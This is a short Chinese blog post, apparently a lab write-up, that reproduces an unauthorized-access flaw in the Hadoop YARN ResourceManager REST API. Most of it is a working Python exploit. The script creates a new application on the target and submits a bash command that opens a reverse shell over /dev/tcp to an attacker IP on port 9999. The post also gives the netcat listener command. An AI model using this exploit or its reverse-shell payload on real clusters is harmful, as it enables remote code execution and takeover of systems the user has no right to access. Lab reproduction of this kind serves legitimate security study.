Hadoop YARN ResourceManager 未授权访问漏洞复现
利用docker搭建环境启动环境后,即可访问http://your-ip:8088漏洞利用通过REST API提交任务执行申请新的application:http://yourip:8088/ws/v1/cluster/apps/new-application更多的提交方法可参考:https://hadoop.apache.org/docs/r2.7.3/hadoop-ya...
·
利用docker搭建环境
启动环境后,即可访问http://your-ip:8088
漏洞利用
- 通过REST API提交任务执行
申请新的application:http://yourip:8088/ws/v1/cluster/apps/new-application
更多的提交方法可参考:
https://hadoop.apache.org/docs/r2.7.3/hadoop-yarn/hadoop-yarn-site/ResourceManagerRest.html
- 本地监听,反弹shell连接
EXP
#!/usr/bin/env python
import requests
target = 'http://127.0.0.1:8088/'
lhost = '10.18.100.22' # 攻击方的IP地址
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
先在攻击机上监听端口
nc -lvp 9999
然后运行exp脚本,反弹shell
最后成功获取shell
更多推荐
已为社区贡献2条内容
所有评论(0)